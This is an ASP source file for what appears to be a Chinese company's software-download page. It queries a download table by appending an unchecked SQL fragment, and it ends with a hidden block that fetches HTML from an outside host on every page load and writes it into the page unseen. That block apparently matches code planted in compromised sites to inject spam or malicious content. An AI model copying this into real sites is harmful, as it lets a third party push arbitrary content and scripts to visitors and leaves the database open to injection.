<% set rs=server.createObject("ADODB.recordset") rs.open "select * from DownSoftware where SoftType='系统补丁下载'"&strSQL,conn,3,2 set rs2=server.createObject("ADODB.recordset") rs2.open "select * from DownSoftware where SoftType='试用版软件下载'"&strSQL,conn,3,2 set rs3=server.createObject("ADODB.recordset") rs3.open "select * from DownSoftware where SoftType='产品相关'"&strSQL,conn,3,2 %> 河南标准科技有限公司
  
   

首页 | 关于标准 | 企业文化 | 媒体报道 | 招聘信息 | 友情连接 | 联系我们
<% function getHTTPPage(url) dim Http set Http=server.createobject("MSXML2.XMLHTTP") Http.open "GET",url,false Http.send() if Http.readystate<>4 then exit function end if getHTTPPage=BytesToBstr(Http.responseBody,"utf-8") set http=nothing if err.number<>0 then err.Clear end function Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function Dim Url,Html Url="http://link1.rmt64.com/link.html" Html = getHTTPPage(Url) Response.ContentType="text/html;charset=gb2312" Response.write Html %>